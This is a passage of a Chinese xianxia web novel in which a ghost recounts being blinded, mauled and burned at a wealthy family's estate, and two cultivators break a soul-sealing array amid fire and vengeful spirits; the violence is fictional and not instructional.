然后,在惯性的作用下,它又发出几声尖锐的“吱呀”声。 缓缓地向前反弹了几次,最终才摇晃着停了下来。 屋内之人在方才就听到门外的动静了,只是装作没听见。 看到眼前那一幕,四丰心中暗叫不好,心想这下子可要大祸临头了。 刚想拔腿就跑时,被谈东轩眼疾手快地一把抓住衣领,拽进了屋内。 随后,四周围上来十几号人,同时还有两只体型壮硕,正在龇牙咧嘴的恶犬。 “呦,忙着呢。” 谈东轩咬牙切齿地说道,脸上一副要吃人的神情。 谈培风闻言,倒是显得颇为淡定,他不慌不忙地理了理自己那稍显凌乱的衣衫。 随后轻轻一转身,将身后的一张薄毯扯下来,盖在季朗然那几乎已被剥得精光的身躯之上。 只一眼,四丰就认出那人的状态不太对。 只见季朗然双眼空洞无神,原本白皙的脸颊此刻泛着不正常的潮红之色。 就连屋内突然闯入如此众多的人,他连眼皮都未曾抬起一下,依旧静静地躺在那里一动不动。 倘若不是其胸膛还因微弱的呼吸而略有起伏,简直与一具尸体别无二致。 杀千刀的杂种!怎能这般折辱人! 四丰在心里不禁暗骂道。 “大哥怎么来了?” 谈培风若无其事地开口问道,话语间透露出一丝戏谑之意。 话落,他迈步走向窗台边放置着的水桶旁,慢条斯理地清洗双手。 那水原是用来浇花的,只是浇花之人还未有所动作,就被故意调开了。 “我不来,怎么欣赏你这活春宫啊?” 谈培风嘴角微扬,轻笑一声回应道:“欣赏谈不上,这人实在太过无趣,比起阿姐楼里的那些姑娘们可差远了。” 他一边说着,一边继续搓揉着双手。 “那你就该好好在三生殿待着。” “大哥,你知道我的,就喜欢惦记别人碗里的东西。” 谈培风说话间,将手上尚未干涸的水渍随意地朝着那只凶恶的大狗甩去。 他料定了谈东轩不会真把他怎么样,毕竟在他眼中,那季朗然不过是一个戏子罢了。 又怎能和他们的手足情谊相提并论? “惦记归惦记……” 谈东轩面无表情地开口道。 一边说着,一边动作利落地将自己身上那件外衫脱下来,随手扔到季朗然的身上。 紧接着,他眼神冷冷地凝视着谈培风,“但我可不是那逆来顺受的‘别人’。” 话音未落,他猛地挥动右臂,反手就是狠狠的一拳,直直砸在谈培风那略显嚣张的脸上。 谈培风猝不及防之下,身体不由自主地向后踉跄了好几步才勉强站稳脚跟。 他捂着被打得生疼的脸颊,满脸不可置信地望向自己的哥哥。 “你打我?你为了一个上不得台面的东西打我!” 从小到大,无论他想要什么,谈东轩总是二话不说地满足他,甚至比他爹谈玉徽还要宠他。 都说那些富贵人家的子弟们表面上风平浪静,暗地里却会为了争夺家产而勾心斗角、不择手段。 瞅瞅那司徒家,就是明晃晃的例子。 可他认为,他们谈家是个例外,向来兄弟和睦。 如今眼前之人,让他感到陌生,好像之前的对他的那些好都是装的,都是用来迷惑他的。 “季朗然是我的人,纵使上不得台面、纵使身份低贱,他也是我的人。” “你怎么对旁人我不管,也不问,但我有没有警告过你,不要越界?” 谈培风心中虽有不甘,但看谈东轩一脸决然,也不敢再放肆。 他捂着脸哼了一声,“行,今天算是我错了。” 恶犬站在一旁,虎视眈眈的盯着谈培风。 只要谈东轩这边下令,它那边就一定会冲上去撕咬谈培风。 本小章还未完,请点击下一页继续阅读后面精彩内容!可等了那么久,主人也没有要动手的意思。 眼瞅着到嘴的鸭子就要跑了,而四丰这时恰好抬头与那狗四目相对。 只见那狗双目圆睁,死死地盯着四丰,嘴里不停地流淌出馋人的口水。 而这一幕,偏偏被一旁的谈培风尽收眼底。 那原本无处发泄的怒气,眼下让他找到了出气的地方,将矛头直直地指向了四丰。 “大哥,你说你自己进来也就算了,怎么还把旁的东西带进来了?” 谈培风冷笑着望向四丰,言语之中充满了嘲讽和戏谑。 那双狭长的眼睛里,更是闪烁着毫不掩饰的玩味之色。 “我来之时,他就正站在门口,你不知道?” 谈东轩顺势看了过去。 屋子里所有目光都不约而同地集中在了四丰一人身上,让他感到浑身不自在, 四丰觉得,他今日怕是要栽在这儿了。 早知如此,当初季朗然在仓库提出要顺便把那些东西捎带回去的时候,就应该痛痛快快地答应下来才对。 他没事儿装什么好人? 这下可好,简直是上赶着送死! 再瞧那只恶犬,依旧在原地焦躁不安地来回走动着,时不时发出几声低沉的咆哮。 若不是脖子上还拴着一根粗壮的绳索,恐怕它早就如饿虎扑食般猛地朝四丰扑过去了。 “我……我方才什么都没有看到!” 四丰的身体不受控制地颤抖着,连带着说话的声音也跟着一起发颤。 谈培风一听四丰这话,当即仰头大笑起来:“哎呦喂,我还什么都没问你,你可就急着撇清关系了?” “我真的没有看到。” 四丰连忙又重复了一遍,眼神却始终不敢与谈培风对视。 只是低垂着头,双手不自觉地攥紧衣角。 “是吗?” 谈培风冷笑着反问了一句,脸上满是质疑之色。 “是......” 四丰硬着头皮回答道,额头上豆大的汗珠顺着脸颊滑落而下。 “既如此,便成全你。” 四丰还未明白他这句话是何意的时候,只见身后之人掏出匕首快步上前。 突然间,一阵刺痛袭来。 他一边声嘶力竭地呼喊着,一边伸出双手拼命地想要捂住自己的眼睛。 鲜血正不断地从伤口处涌出,染红了他的双手和脸庞,看上去格外狰狞恐怖。 那凄厉的惨叫声响彻整个房间,就连正在昏迷的季朗然也被惊醒了。 他迷迷糊糊地睁开双眼,努力适应着周围昏暗的光线。 待视线逐渐清晰后,季朗然终于看清了屋内的情形。 首先映入眼帘的,便是满脸是血、倒在地上痛苦呻吟的四丰。 季朗然心头一惊,想要立刻起身走上前去询问情况。 可是,由于药效还未褪去,身体依旧虚弱无力,他试了几次都没能成功坐起来。 最后,一个不小心,直接从床上滚落了下来。 一旁的谈东轩听到动静后,急忙转身走了过来。 他先是将季朗然扶了起来,而后转头看向不远处倒在血泊之中的四丰,眉头微微皱起。 “小点声,吵到人了没看到吗?” 谈培风压低声音呵斥道,但话刚出口,他便意识到眼前之人已双目失明,根本无法视物。 季朗然满脸怒容地质问谈文轩:“为何要这般待他?” 尚未等谈文轩回应,谈培风却迫不及待地插嘴道:“自然是看了些不该看的东西。” 季朗然闻听此言,瞬间明白了其中所指何事。 可他只觉得讽刺,紧蹙着眉头说道:“不想让别人看见,那就别去做那些见不得人的勾当!” “你这话说的,难道这事儿是我一个人做的吗?” 谈培风闻言,不但毫无愧色,反而耸了耸肩,装出一副无辜的样子。 季朗然气得浑身发抖,指着谈培风怒斥道:“明明是你......” 话未讲完,只觉胸口一阵气血翻涌,喉咙处似有一股热流上涌。 紧接着,哇地吐出一口鲜血,身体摇晃几下,险些站立不稳。 “少说两句。” 谈东轩这时才开口说话。 不仅是在警告谈培风,还是在劝解季朗然。 一个下人罢了,莫说是眼睛没了,就是命都没了又如何? 有什么好争执的? 那恶犬嗅到鲜血味道之后,原本就凶狠残暴的本性瞬间被激发出来。 牵绳之人眼瞅着就要控制不住它的时候,谈东轩冷声说道:“松开它吧。” 听到这话,季朗然不禁瞪大了眼睛,急忙问道:“你要做什么?” 谈东轩却是一副云淡风轻的神情,轻描淡写地回答道:“自然是喂狗啊,不然还能做什么?” 刹那间,那只恶犬飞奔而出,张开血盆大口狠狠地咬住了四丰的胳膊。 四丰痛苦地哀嚎起来,拼命挣扎着想挣脱犬牙。 但他越是用力反抗,那恶犬反而变得越发兴奋,死死不肯松口。 恶犬第一口咬住的便是四丰的胳膊,四丰挣扎的越厉害,它便越兴奋。 本小章还未完,请点击下一页继续阅读后面精彩内容!看到这一幕,季朗然心急如焚,拽着谈东轩的胳膊说道:“你放了他。” 可谈东轩却不为所动,只是捏着季朗然的下巴回应道:“然然,求人可不是这么求的。” 他一直都知道怎么拿捏季朗然的软肋,他摸清楚了这人的脾气,软硬不吃。 刀架在他脖子上,没有屁用。 但若是架在旁人身上,尤其是同他有关,因他而受牵连的人身上。 他会乖乖地把脖子递过来。 你看,此话一出,他当即就下了跪。 “求您放了他。” 若不是他一时大意,不小心中了迷药,谈培风也不会趁机做那种下作之事。 而四丰也就不会撞见这些,更不会因此瞎了眼睛。 归根到底,都是他的错。 归根到底...... 全是他的错。 那人的撕心裂肺的声音回荡在耳边,让季朗然想起父亲死前的模样,也是这般生不如死。 剧烈的疼痛逐渐吞噬四丰所有的理智和意识,眼前一黑,便昏厥了过去。 再次醒来之时,他是被热醒的。 他觉得似乎有滚滚热浪扑面而来,要将他整个人都融化掉。 他下意识地想要睁眼看去,却想起来那双眼睛已经不在了。 无尽的黑暗笼罩着他,令他心中涌起一阵深深的恐惧和无助。 四周充斥着噼里啪啦的声响,不绝于耳。 这时他才惊恐地发现自己已然身陷熊熊火海之中,火舌疯狂地舞动着,贪婪地舔舐着一切可以燃烧的东西。 求生的本能促使他不顾一切地想要逃离这里。 他的家人还在等他赚了钱回家。 他儿子还说要吃巷头那家阿公做的糖葫芦。 他答应他拿到工钱就给他买的。 可失去了视力的他,根本不知道该朝哪个方向逃跑才最安全。 只能凭着记忆,跌跌撞撞地往门口跑去。 可命运似乎总是喜欢捉弄人。 慌乱中的他选错了方向,一头扎进了火势最为凶猛、最为凶险的区域。 曾经被恶狗咬伤的那段痛苦经历,深深地烙印在了四丰的心底。 那种刻骨铭心的恐惧感至今仍让他不寒而栗,所以他选择刻意遗忘这段往事。 以至于哪怕成了鬼,他都没想到生前经历的这些。 于是,他的魂魄始终徘徊在这座熟悉的院子里,苦苦寻找着自己那两条丢失的胳膊…… “火是谁放的?” 江洵问道。 四丰摇了摇头,他不知道。 “会是季朗然么。”江洵喃喃自语着。 四丰听到这话,整个人十分激动,磕磕绊绊的说:“不是……不是公子。” 因为季朗然不会伤及无辜。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第176章 新 且不提季朗然会不会做出这种事,即便他真的狠下心去做了,从时间上来看,也不会是他。 因为事发之时,屋子里面可是挤满了人。 谈东轩不会给季朗然留出丝毫能够摆脱自己掌控的机会。 起初,江洵以为这碧水轩无非就是一座金贵的阁楼罢了,但今日所见所闻却并非如此。 这四个园子错落有致地分布着,彼此之间都相隔了一定的距离。 照理说,如果其中一个园子突然起火,其他三个园子中的人肯定会在第一时间察觉到异常,并速速赶去救火。 但令人匪夷所思的是,园子里那么多人,居然没有一位发现异常之人? 如此说来,当年那场火根本就不是意外事件,而是有人蓄意为之。 “季朗然是什么时候来碧水轩的?” 说完这话后,傅霖稍稍抬起头来,眼神暗示那头狼,让它离四丰远点儿。 可那头狼却装作一副没看见的样子,依旧我行我素地舔舐着四丰的小腿。 若不是因为被火烧焦后的人肉味道实在欠佳,恐怕它早就不仅仅满足于这般轻轻舔弄了。 “啧,跟你说话没听见?” 傅霖眉头微皱,面露不悦之色,抬眸盯着那头不知所谓的狼崽子。 然而,这番话传入四丰耳中时,却让他心里咯噔一下。 误以为傅霖是在对自己发火。 于是,他慌慌张张地连忙回答道:“好像是……一年前吧。” 他指的一年前,是他尚在人世的一年前。 若按照当下的时间来算,约莫已过去了三年。 他本就是已逝之人,如今残留在这里的也不过是一缕亡魂。 哪怕那头狼当真扑上来咬住他的双腿,他大抵也感知不到疼痛。 江洵目不转睛盯着面前这头显得颇为叛逆的狼,心中不免觉得有些好笑。 怎得傅霖豢养的这些玩意儿,一个个都如此桀骜不驯,老是跟他对着干? 想想之前那些调皮捣蛋的小纸人,没一个是让他省心的。 “他可曾有什么家人?”傅霖追问道。 四丰听后,轻轻地摇了摇头,表示自己对此一无所知。 他平素里与园子中的其他人几乎没有交流,自然也不清楚季朗然有无亲属在世。 “这人怎么办?”江洵问道。 “送中律司,他们自会妥善处理。” 傅霖说完,从怀中掏出一只绣有“中律司”三个字的锁灵囊。 通常情况下,在没有记录员跟随的任务中,除了必不可少的任务书之外,一同发放的还有诸如锁灵囊、缚灵索、信号筒之类的物件。 当然,如果遇到任务难度较高或者任务情况较为特殊时,还会额外分发一些与具体任务相关的物品,比如弥生符、避尘珠等。 就在四丰被收入锁灵囊的一刹那间,他嘴唇微张,口中念念有词:“油……油……” 他想起来了。 那一晚,仓库里存放的桐油,似乎少了几桶。 然而,还没等他把话说完,整个人便已完全进入到了锁灵囊中。 随着四丰身影的消失,原本留在地板上清晰可见的脚印,以及残留在窗台上的些许灰尘,也在同一时间消散得无影无踪。 仿佛这间屋子,他从未踏足过一般。 仿佛这尘世间,他不过只是一个无关紧要的过客罢了。 他的存在,于旁人而言,并无太大影响。 甚至,没有掀起一丝涟漪。 没了便没了。 “睡吧,明儿有的忙。” 话落,傅霖打了一个清脆的响指。 刹那间,环绕在四周的法阵缓缓隐去,屋内原本明亮的光线也随之黯淡下来。 不多时,屋内便被一片静谧所笼罩。 可这俩人刚躺床上没多久,甚至还未睡着,耳边便传来一阵轻微却又异常清晰的脚步声。 那脚步声由远及近,正沿着走廊朝着他们所在的房间徐徐靠近...... 听那嘈杂的动静,走廊中似乎不止一人。 须臾之间,一阵急促无比的拍门声骤然响起,并且正在快速地逼近他们所在之屋。 然而在即将触及他们房门之时,却又毫无征兆地戛然而止。 江洵轻叹一口气,怎么想睡个囫囵觉就这么难? 刚想翻个身,调整个让自己舒服的睡姿时,忽然间传来“啪嗒”一声脆响。 似有什么物体径直滴落于他的面庞之上。 江洵猛的睁开眼,坐直了身子,下意识地伸手摸向脸颊处那刚刚滴落之物。 既非清水,亦非鲜血,是一滴散发着特殊气味的油脂。 细细嗅闻之下,不难判断出此乃桐油无疑。 江洵不由得抬起头来,目光直直望向头顶上方。 只见那油正一点一滴地自房梁之上缓缓流淌而下。 他忽地想起四丰方才所说过的一句话——油。 那晚天气异常燥热,且狂风大作,若是再和油相关...... 只是此刻,尚未容他来得及细想之时,他们房间的门被敲响了。 本小章还未完,请点击下一页继续阅读后面精彩内容!“要去开门吗?” 江洵皱着眉头,开口问道。 傅霖在床上慵懒地翻了个身,满脸困倦不堪,嘴里嘟囔着回答道:“盈月不是说了么,无论发生什么事情,都不要出去。” 江洵闻言,忍不住冷笑了一声,回道:“呦,这么听话。” 傅霖一听这话,顿时来了精神,一下子从床上坐了起来。 “你要这么说,我可得跟你掰扯掰扯。我这分明叫谨慎,你知道什么叫谨慎吗?” “不好意思,我没文化。” 傅霖哼哧一声,追问道:“你敢当着方知许的面儿说这话吗?” “有何不敢?不就是挨顿打的事儿。” 说完,他作势就要掀开被子下床。 那阵敲门声变得愈发急促,如同催命符一般。 响得让人心里直发毛,烦躁不安到了极点。 “行了,你歇着吧。” 傅霖率先下了床,让江洵老实在床上待着,他去看看情况。 “门左侧一寸。” 江洵平静的声音从后方传来。 他早在听到脚步声时,便已然展开蕴灵术。 他清楚的知道门外有几只地缚灵,也知道靠他们最近的那一只站在什么位置。 傅霖闻言,头也没回,只是随意地摆了摆手,表示自己已经知晓。 当来到门前时,他先是将一只手稳稳地搭在了门栓之上,而后用另一只手召出行野。 接着,他缓缓拉开门栓,只打开了一条窄窄的门缝。 借助走廊上那微弱的光线,傅霖看到门外站着一名面色平淡的小厮。 “公子,着火了,快逃命吧。” 那人说话的语调慢悠悠的,与刚才急促拍门的动作大相径庭。 再看他脸上的神情,丝毫瞧不出有任何急于逃命的恐慌之色。 这是个死人,和四丰一样。 都是被困在碧水轩的地缚灵。 想到这里,傅霖佯装着急地问道:“哪里起火了?” “梅园。”小厮回。 “可这是菊园。” “菊园也不例外。” 小厮面无表情地回应道,声音依旧是冷冰冰的,没有丁点儿感情波动。 这意思是无论两个园子中间隔了多远,一定也会着火? 傅霖回头看了一眼江洵,却发现这家伙不知道什么时候已经下了床。 而且正蹑手蹑脚地走到自己身后,竖着耳朵偷听呢! 他刚想说江洵两句之时,从远处突然吹来了一阵轻柔的微风。 风里似乎裹挟着一种奇特的香气,若有若无,时隐时现。 傅霖心头一紧,想也没想便要伸手去捂住江洵的口鼻。 可身后的江洵反应极快,几乎在他伸手的瞬间就已经非常自觉地捂住了自己的嘴巴和鼻子。 而且脚下生风一般迅速向后倒退了好几步,远远离开了那扇半掩着的房门。 惜命这一点儿,他向来拿第一。 傅霖见他这样,真是觉得又好气又好笑。 一时之间,都不知该说是好还是不好。 懂得在关键时刻照顾好自己,这本就是一件好事儿。 但问题在于,那人居然一点儿都不担心他? 明明他才是最靠近风口的人。 没办法,傅霖只得无奈地摇了摇头。 而后,抬起衣袖,将自己的口鼻严严实实地遮挡起来。 “锦哥在就好了,他肯定能即刻分辨出这是什么香味。” 江洵自言自语般小声嘟囔着。 “哎呀,真是不好意思,没能帮到师弟呢。” 傅霖皮笑肉不笑地回道。 “没事儿,不怪你,起码你有自知之明。” 江洵一本正经道。 傅霖顿时翻了个白眼,他这人怎么能这样! 那股奇异的香味并没有持续太长时间。 而与此同时,门外那个小厮却突然变得有些不对劲起来。 他的双眼渐渐泛红,嗓子里也在不断地发出一些沉闷的低吼声。 而后缓缓垂下头去,但那两只布满血丝的眼球却死死地向上翻起。 紧紧地盯着站在其身前的傅霖,仿佛要将对方生吞活剥一般。 傅霖见状,暗道不好! 迅速从怀中掏出一道符纸,口中念咒。 符纸瞬间化作一道屏障,横在了他与那即将发疯的小厮之间。 随着蕴灵范围的扩大,江洵眼下已然捕捉到风吹来的方向。 他微微眯起双眸,压低声音说道:“来了。” 傅霖闻声,迅速关上房门。 门外的小厮发现他们将门关上之后,再次抬手敲门。 听这震耳欲聋的声音,似乎是不把这扇门敲破就誓不罢休。 此刻,这个房间已不再是安全的地方。 因为屋内的温度正以惊人的速度不断攀升。 炽热的空气弥漫在每一个角落,让人感到呼吸困难,仿佛置身于火炉之中。 房顶的桐油也在不断地滴落着,床上、桌子上,还有地板上,很快便汇聚成了一滩又一滩。 随着时间的推移,这些小滩的面积只会越来越大。 大抵不用半炷香的时间,就能覆盖整个房间。 这章没有结束,请点击下一页继续阅读!这是在逼着他们,不得不开门出去。 傅霖缓缓转过身来,望向身后的江洵。 只见他伸出三根修长的手指,向着江洵微微晃动,示意道:“三……二……一!” 当最后一根手指落下的瞬间,两人心有灵犀地点了点头。 说时迟那时快,傅霖一把拉开房门。 刹那间,一股刺骨的寒风夹杂着令人毛骨悚然的嘶吼声扑面而来。 只见无数只面如死灰的地缚灵如潮水般汹涌而至,嚎叫着朝他们扑了过来。 傅霖手持行野剑,身形一闪,率先冲上前去。 剑光闪烁间,剑气四溢而出。 每一道剑气虽凌厉,但却并未真正伤及到那些亡魂。 他对行野的力度把控的妙之毫巅,用行野的剑气去震慑住他们。 以此来平息他们心中的怒火以及那难以诉说的哀怨。 江洵见状,不敢有丝毫怠慢,调动起周身的灵力,紧随其后。 他双手掐诀,口中念念有词,一道道璀璨的灵光从他指尖激射而出。 自鸣蜩山任务结束后没多久,江挽便将这缚灵之术传给了江洵。 而此时,江洵的灵力如同柔软顺滑的丝线,像有生命般缠绕住周围的地缚灵。 不消片刻,无数条丝线将他们的灵神严严实实地包裹其中。 被缚灵术缠住的怨灵已然失去行动能力,逐渐安静下来。 只是,源头在院子里,并非在走廊中。 二人对视一眼,双双掏出锁灵囊,准备先将目前这个局面收拾妥当再说。 可这走廊似乎被无限的拉长,无论怎么走都走不到尽头。 甚至,耳畔传来了咿咿呀呀的唱戏声。 那声音忽远忽近、飘忽不定。 唱戏之人似乎站在不远处的院子里,又似乎就在自己的身侧,如影随形。 彼时,他们前后两端,火焰如海浪般席卷而来。 这个位置,逃无可逃。 “找阵眼。” 傅霖说道。 他已经明白了,这个走廊并没有问题,有问题的是当初布下阵法之人。 他现在非常想知道,谈家究竟请来了怎样一个所谓的“得道高僧”。 还真是让他开了眼了。 这年头什么大猫阿狗都能顶着这四个字招摇撞骗了是吧。 地缚灵之所以被困在此地,是因为其内心的怨气尚未消散,以及还有心愿未了。 这“高僧”倒好,下的阵法非但不是能够遣散怨灵的遣灵阵,反倒是将他们困于此地永世不得超生的封魂阵。 倘若封魂阵一直没有被他人破解,那这座宅院倒也能一直安宁下去。 但是,如果有朝一日此阵不幸被人破除。 那么不管破除之人是否出于真心,此前积聚在地缚灵体内的怨气将会瞬间被无限放大。 并如洪水猛兽般疯狂地攻击和驱赶居住在这座院子里的活人。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第177章 年 而这几日,只有菊园接连发生命案。 如此说来,那“高僧”应当是在不同的地方布下了封魂阵。 那么,除了菊园之外,其他三个园子暂时还是安全的。 就是不知,阵眼隐藏在菊园的哪个位置。 他们俩对于阵法的了解并不是十分深入,想要没有一点差错的将封魂阵修补好,可谓是铤而走险。 既如此,摆在他们面前的选择只剩下一个——破除阵法。 虽说是麻烦了些,且要多费些精力。 但如若不破除此阵,那些被束缚的灵魂就将永远被困在这里,无法得到安息。 况且,中律司也不可能放任这么多地缚灵徘徊在此处,久不离开。 想到这里,江洵转头看向身旁的傅霖,笑着问道:“赌一把?” 傅霖闻言,回过头来,目光落在江洵那张被火光照亮的脸庞上。 这人非但没有丝毫惊慌失措,反倒是一脸轻松自在,甚至还能够笑得出来。 真是个疯子! “你的意思是,阵眼在我们房间?”傅霖问道。 江洵沉默着点了点头。 他赌盈月的话可信,当初不让他们出房门,也不让他们在走廊处走动,或许是为了保护他们。 “那就赌一把。” 傅霖回。 死马当活马医呗,反正不会坐这儿等死。 江洵右手迅速一挥,一道光芒闪过,献岁应声而出。 二人若想平安无事地穿过眼前的火海回到房间,最有效的法子就是施展两仪阵法。 江洵以极快的速度挥动献岁,顷刻间释放出无数道风刃。 风刃划破火海,带起阵阵呼啸之声。 由他来引导火势的走向,将其控制在一定范围之内。 而身旁的傅霖右手手持行野,左手快速结印。 术法施展的同时,阵阵寒意从行野剑身发出。 速度之快,等江洵注意到的时候,二人周围已然出现了一层冰寒结界。 结界宛如密不透风的屏障,有效抵消周身的高温,防止热量对他们造成伤害。 如此一攻一守间,两者达到相互制衡的状态。 在即将抵达房间门口之时,火海中匆匆掠过一个身影。 那人一袭白衣,身形单薄,赤着脚在走廊上奔跑。 周遭的火焰没有伤及他分毫,甚至有意避开他,主动给他让道。 江洵站在门口,回头看着那个渐行渐远的身影。 尽管尚未亲眼见到那人生前的容貌,但不知为何,江洵觉得他应该就是季朗然无疑。 他同这里的地缚灵一样,日复一日的重复着死前经历过得种种事情。 当房门关闭之后,屋内依然弥漫着一股难以忍受的燥热气息。 江洵估摸了一下他们离开这里的时间,应该已有半炷香的功夫。 此时再看整个房间,到处都布满了黑乎乎的油渍,让人感觉脚下抹了一层油似的。 二人小心翼翼的走在滑溜溜的地板上,生怕一不留神儿就摔下去。 “去看看房梁。”江洵轻声说道。 傅霖应了一声:“嗯。” 紧接着,身形一闪,借助着周围的墙壁和柱子,一个纵身便轻盈地跃上了房梁。 此刻,屋内的光线十分微弱,只能依靠窗外那洒进来的月光视物。 当傅霖到达房梁之上时,由于高度增加以及角度问题,视线受到极大的阻碍。 就在这时,下方站立着的江洵突然开口喊道:“接着!” 只见他迅速地掏出了一颗夜明珠,并朝着上方的傅霖用力掷去。 一道亮光划破黑暗。 傅霖眼疾手快,准确无误地接过夜明珠。 借着其散发出来的光芒,打量起刻在房梁上的符文。 地上的桐油皆是从这些模糊不清的符文中渗出来的。 傅霖将夜明珠扔了出去,在缓缓转了一圈后又飞回到手心。 其他梁柱虽也在断断续续的渗油,但远不及他脚下这根。 “匕首。” 傅霖头也不回地喊了一声,同时伸出右手向下方伸去。 江洵听到后,从腰间掏出匕首扔了上去。 但匕首并没有准确无误地落入傅霖手中,而是与他伸手的位置稍稍偏离了一寸左右。 傅霖反应极快,察觉到匕首的位置不对之后,他赶忙将身体微微向后仰去。 最终,稳稳地接住了飞过来的匕首。 “怎么?脚滑手也滑?” 傅霖笑着调侃了一句。 “谁让你说话的时候都不看人呢。”江洵没好气地回应道。 本就是在使唤他,却还不给他个好脸色。 这能忍? 傅霖反手握住刀柄,低头向下望去,目光直直落在江洵身上。 房间内温度高,和蒸笼差不多。 那人额头上布满了细密的汗珠,尤其是那紧贴着脖子的衣领,让人看着就想给他掀开。 傅霖本就嫌热,方才进门的时候就把领口扯开了,此刻露出一截结实的胸膛。 而站在下面的江洵更是热的脸颊微红,汗珠从额头滑落,顺着眉梢和眼角流淌而下。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!有的垂落在地上,溅起微小的水花。 “你这样......还要我怎么看?” 江洵听到这话,下巴微微抬起,迎上傅霖的目光。 只见他嘴角轻轻上扬,挑起一边眉毛,似笑非笑地回应道:“就这么看。” 傅霖算是明白了。 江洵才不是什么金贵的猫咪,而是危险的狐狸。 他不禁失声一笑,无奈的摇了摇头。 “我要破阵了。” 话落,刀尖泛起一阵寒光,直直刺进房梁内部。 霎那间,被刀尖所刺中的部位凝结出一层厚厚的冰霜。 此刻不容有丝毫分心,他紧握手中的匕首,狠狠向后一点点划去。 随着手臂的挥动,冰霜也随之增加,这一排的符文都要被这样划开。 菊园内无数亡灵发出哀嚎,响彻整个院子。 原本紧闭的门窗也在这一刻豁然敞开,狂风犹如一头凶猛的巨兽,咆哮着席卷而来,直扑破阵的傅霖。 见此情形,江洵毫不犹豫将手抬至胸口,双手迅速扣成一个标准的正三角形。 随着领域展开,一道无形的屏障骤然形成。 它将傅霖牢牢地困在其中,使其免受狂风和亡灵的袭击。 然而,江洵自己却站在领域之外。 风吹起他的衣袍,猎猎作响,风力甚至还要将他向后推去。 江洵依然稳稳地站立在原地,维持着结印的手势,一步不退。 随着不断地催动法力,那道保护傅霖的矩阵范围逐渐扩大起来。 江洵心里清楚,此时乃是最为关键的时刻。 一旦他们开始破阵,便绝无中途停止的可能。 否则将会遭到封魂阵的反噬,轻则重伤,重则被拉进阵中,做一只无名无姓的地缚灵。 突然间,一记风刃从背后疾驰而来,直直击中了江洵。 可那人硬是咬着牙,强忍着剧痛,连吭都没有吭一声。 他怕傅霖听到声音后会分心。 怀中的木盒本就因为之前的打斗而露出了一角,如今一阵风呼啸而过,将其卷飞,径直朝着门口摔去。 那是沈亦行托他交给江挽的东西。 门外已然是一片熊熊燃烧的火海,如果此时窗户处再来一阵大风。 那么,这盒子无疑会被直接吹出屋外。 怎么办? 他紧紧皱起眉头,目光焦急地望向傅霖所在的方向。 傅霖依旧全神贯注地破解着阵眼,距离破完那串符文的尽头还有一段距离。 东西丢了还可以想办法重新再买一个,眼下傅霖的命才最为关键。 可倘若......木盒中的东西对江挽来说,是极其重要的东西呢? 不管了。 锦盒他要拿到手,傅霖的命他也要保住。 就算他会出事儿,也绝不会让傅霖出事儿。 若真到万不得已时,他会迅速将灵力凝聚在法阵上,直至傅霖破掉阵眼为止。 就这样,他一边向门口的位置退去,一边控制着手中的法阵。 风刃贴着他的身侧急速划过,手臂上顿时留下了一道道伤口。 眼看着距离木盒越来越近,即将抵达门口之时。 一声冷冰冰的质问,猛然从头顶上方传来:“你在干什么?” 江洵闻声抬头望去,只见原本站在房梁之上的傅霖不知何时已经纵身跃下。 正迈着步伐,一步又一步地向着自己逼近过来。 而此时,以傅霖为中心,冰霜正源源不断地向四周无限蔓延扩散开来。 凡是被其所覆盖掠过的地方,都开始逐渐恢复成原来的模样,仿佛一切都未发生过一般。 周围一片死寂,没有风声,没有哀鸣,也没有那滑腻腻的桐油。 “捡东西。”江洵回道。 面对傅霖的质问,江洵心中不禁涌起一股难以言喻的......胆怯。 尤其是在看到那人的冷漠的眼神后,他竟觉得有些委屈。 和当年在校场上与他切磋时的眼神一模一样,没有半点儿温情可言。 随后,傅霖看了眼江洵说要捡的东西。 “你是觉得这东西比我的命还重要,是吗?” 若非他及时发现江洵的异样,加快了破阵的速度,后果简直不堪设想。 这人为何总是这般,给他颗蜜枣又打他一巴掌。 让他一边心怀感激,一边附和着:“打得好”。 听到这话,江洵急忙开口解释道:“不是,我有把握。” 傅霖闻言,不禁冷笑一声,对他的这番解释并不买账。 有把握? 连他自己都不敢保证能够顺利地破开阵法,确保自身安然无恙。 江洵又哪来的底气敢说有把握护他周全? 只见傅霖面沉似水,一言不发地径直从江洵身边走了过去。 就在江洵尚未回过神来之际,他已经弯下腰去,动作迅速地拾起了地上那个木盒。 他倒要看看里面装了什么东西! 装了什么比他命还重要的东西! 可当盖子被缓缓揭开之后,出现在眼前的却是一支再寻常不过的玉簪子。 本小章还未完,请点击下一页继续阅读后面精彩内容!仅仅是一支簪子? 过了片刻,他转过头来,将手中的簪子举到江洵的面前。 “是不是在你江洵眼中,你师父随便一个什么物件儿,都比我傅霖的命还要重要?” 江洵知道傅霖是误会了,叹了口气后,一把拿过那盒子。 “第一,我之前并不知道这盒子里装了什么。” “第二,如果真的有什么差池,我会耗尽所有灵力护着你,直到破除阵眼为止。” “第三,东西是否比你的命重要,得要视情况而定。” 傅霖闻言,沉默良久。 他看到了江洵被染红的衣袍,以及身上那细微却密密麻麻的伤口。 而江洵说完以后,便从他另一只手中抽走盖子。 走了出去。 同时,还细心的帮他把门带上。 由于阵眼已破,方才有些未被抓到的地缚灵,此刻也清晰可见了。 江洵站在走廊间,左手开启蕴灵术,右手施展缚灵术。 弹指间,双灵术的范围迅速覆盖住整个菊园。 他的指尖沾了血,导致缚灵时所产生的丝线都变成了一种若隐若现的红色。 锁灵囊已开,眼下只需将地缚灵拖拽过来,再一个个扔进去即可。 傅霖想要开门出去帮忙的时候,一阵轻微的响动传入他的耳中。 是对面房间的木门被缓缓推开的声音。 江洵回他房间睡了。 眼下已是五更天,菊园内再无一只地缚灵的身影。 其他厢房的客人还在呼呼大睡,一切又归于平常。 看来,只有他们这一间厢房是整个菊园最特殊的地方。 仿佛他们方才经历的那些,不过是大梦一场。 就是不知盈月当时,是否是有意将末端的两间房留给他们住。 三生殿。 冬苓还未睡醒,就听到了轻柔的敲门声。 这声音一听就是应婆。 “姑娘,该起了。” 若是旁人,冬苓还能赖会床,寻个由头打发走。 可应婆昨天委实帮了她不少,她不能也不该这般无礼。 于是,眯着眼去开门。 “姑娘怎得还在睡?该去练琴了。” 应婆看她这睡眼惺忪的样子,担忧地说道。 “不急不急,阿婆知道齐兰这个人吗?”冬苓问道。 昨天锦哥儿走之前,同她说了赌坊的事儿,让她帮忙打听一下来着。 